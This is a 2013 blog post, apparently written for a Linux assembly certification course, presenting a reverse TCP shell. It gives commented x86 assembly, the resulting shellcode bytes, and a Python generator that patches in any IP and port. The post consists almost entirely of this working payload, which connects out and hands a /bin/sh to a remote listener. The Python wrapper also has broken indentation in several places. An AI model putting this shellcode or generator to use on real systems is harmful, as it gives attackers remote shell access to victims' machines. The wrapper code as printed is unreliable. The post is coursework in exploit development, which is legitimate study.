SLAE Assignment 2: Writing Reverse TCP Shellcode

02 May 2013

This is the first assignment in the Securitytube SLAE series. The assignment consists of writing your own reverse TCP shell. I wrote mine based on the analysis I made in a previous assignment. I also wrote a wrapper in python which generates the shellcode containing a custom IP and port.

Information

Github Repository: https://github.com/cloud101/SLAE32/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-251

The assembly code:

global _start
section .text
_start:
;initiate the variables and clear the variables (trick from msfpayload)
xor ebx,ebx
mul ebx
;first create a socket by pushing the variables
;sockfd = socket(AF_INET, SOCK_STREAM, 0);
mov al,102 ;move syscall into al, do not use eax or you will end up with 0x00
push ebx; Build the arguments list, 0 indicates the default protocol
inc ebx ; increase to one
push ebx  ; 1 on the stack, this is to indicate that we will be using SOCK_STREAM
push byte 0x2 ; 2 is AF_INET
mov ecx, esp ; move the stackpointer into ecx
int 0x80 ; syscall to create a socket file descriptor
xchg ebx,eax
push byte 0x2; push it on the stack, then pop it into ecx to avoid 0x00 bytes
pop ecx 
dup_loop:
  mov BYTE al, 0x3F ; dup2  syscall #63
  int 0x80          ; dup2(c, 0)
  dec ecx           ; count down to 0
  jns dup_loop      ; If the sign flag is not set, ecx is not negative.
push 0x0100007f  ;the IP address 127.0.0.1
push word 0x697a;port number 31337
mov cx,2
push word cx
mov ecx,esp      ;move the argument pointer into ecx
push byte 0x10   ;move 16 on top of the stack, this is the length of the struct
push ecx                 ;pointer to the argument
push ebx                 ;pointer to the file descriptor
mov ecx,esp
mov al,102               ;move the syscall into al
int 0x80
;call execve as we have done before
; execve(const char *filename, char *const argv [], char *const envp[])
  mov BYTE al, 11   ; execve  syscall #11
  push edx          ; push some nulls for string termination.
  push 0x68732f2f   ; push "//sh" to the stack.
  push 0x6e69622f   ; push "/bin" to the stack.
  mov ebx, esp      ; Put the address of "/bin//sh" into ebx via esp.
  push edx          ; push 32-bit null terminator to stack.
  mov edx, esp      ; This is an empty array for envp.
  push ebx          ; push string addr to stack above null terminator.
  mov ecx, esp      ; This is the argv array with string ptr
  int 0x80          ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

The generated shellcode:

"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x66\x68\x7a\x69\x66\xb9\x02\x00\x66\x51\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0\x66\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

My wrapper script:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket,struct
from argparse import ArgumentParser
parser = ArgumentParser(description="Shellcode generator")
parser.add_argument("-p","--port",dest="port", help="Provide a port between 1024 and 65535.", required=True,type=int )
parser.add_argument("-a","--address",dest="ip", help="Provide a valid IP address.", required=True,type=str )
args = vars(parser.parse_args())
arg_port = args["port"]
arg_ip = args["ip"]
shellcode1 = \
"""\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x93\\x6a\\x02\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x68"""
shellcode2 = \
"""\\x66\\x68"""
shellcode3 = \
"""\\x66\\xb9\\x02\\x00\\x66\\x51\\x89\\xe1\\x6a\\x10\\x51\\x53\\x89\\xe1\\xb0\\x66\\xcd\\x80\\xb0\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x89\\xe2\\x53\\x89\\xe1\\xcd\\x80"""
def ip2long(ip):
    """
    Convert an IP string to long
    """
    try:
        packedIP = socket.inet_aton(ip)
    except:
    print "IP is not valid"
    hex_IP_string = hex(struct.unpack("!L", packedIP)[0])
    ip_list = list (hex_IP_string)
    ip_list = ip_list[2:]
    ip_string = ""
    for x in range(0, len(ip_list),2):
        ip_string +=  "\\x"+ip_list[x]+ip_list[x+1]
    return ip_string
def portToHex(port):
        hexport  = str (hex(port)[2:] )
        if len (hexport) <= 3:
                temp = list(hexport)
                hex1 = temp[0]
                hex2 = temp[1]
                hex3 = temp[2]
                hexport = "\\x0"+hex1+"\\x"+hex2+hex3
        else:
                temp = list(hexport)
                hexport = "\\x"+temp[0]+temp[1]+"\\x"+temp[2]+temp[3]
        return hexport
if arg_port <= 65535 and arg_port >= 1024:
        print "Shellcode for ip %s with port %s:" % (arg_ip,arg_port)
    port = portToHex(arg_port)
        ip = ip2long(arg_ip)
    print shellcode1+ip+shellcode2+port+shellcode3
else:
        print "Port too small. How unfortunate."

And the script in action:

Untitled2 Untitled